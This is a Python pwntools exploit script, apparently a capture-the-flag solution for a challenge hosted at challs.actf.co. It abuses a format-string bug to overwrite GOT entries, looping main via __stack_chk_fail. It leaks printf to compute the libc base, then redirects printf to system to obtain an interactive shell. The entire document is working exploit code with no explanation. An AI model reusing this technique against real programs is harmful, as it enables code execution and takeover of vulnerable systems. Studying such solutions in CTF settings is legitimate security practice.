/..

#CONTENT

#TOP

solve.pyPYTHON
from pwn import *
from pwn import fmtstr_payload



libc = ELF("./libc.so.6")
if args.REMOTE:
context.binary = file = ELF("./og")
else:
context.binary = file = ELF("./patched")
context.terminal = ["kitty"]
gdbscript="""
set debuginfod enabled off
c
"""

if args.REMOTE:
p = remote("challs.actf.co", "31312")
else:
p = gdb.debug("./patched", gdbscript=gdbscript)

main = file.sym.main

payload = b""
payload += f"%{main & 0xffff}c".encode()
payload += f"%{10}$hn".encode()
payload = payload.ljust(0x20, b"\x00")
payload += p64(file.got.__stack_chk_fail)
p.sendline(payload)

payload = b""
payload += b"%10$s"
payload = payload.ljust(0x20, b"\x00")
payload += p64(file.got.printf)
p.sendline(payload)

p.recvuntil(b"See you around, ")
p.recvuntil(b"See you around, ")
leak = p.recv(6)
printf = u64(leak.ljust(8, b"\x00"))
log.info(f"{printf = :#x}")

libcbase = printf - libc.sym.printf
log.info(f"{libcbase = :#x}")

system = libcbase + libc.sym.system
log.info(f"{system = :#x}")
log.info(f"{printf = :#x}")

payload = f"%{system & 0xffff}c".encode()
payload += f"%{10}$hn".encode()
payload += f"%{256 - (system & 0xff) + (system >> 16 & 0xff)}c".encode()
payload += f"%{11}$hhn".encode()
assert len(payload) <= 0x20
payload = payload.ljust(0x20, b"\x00")
payload += p64(file.got.printf)
payload += p64(file.got.printf + 2)
p.sendline(payload)

p.interactive()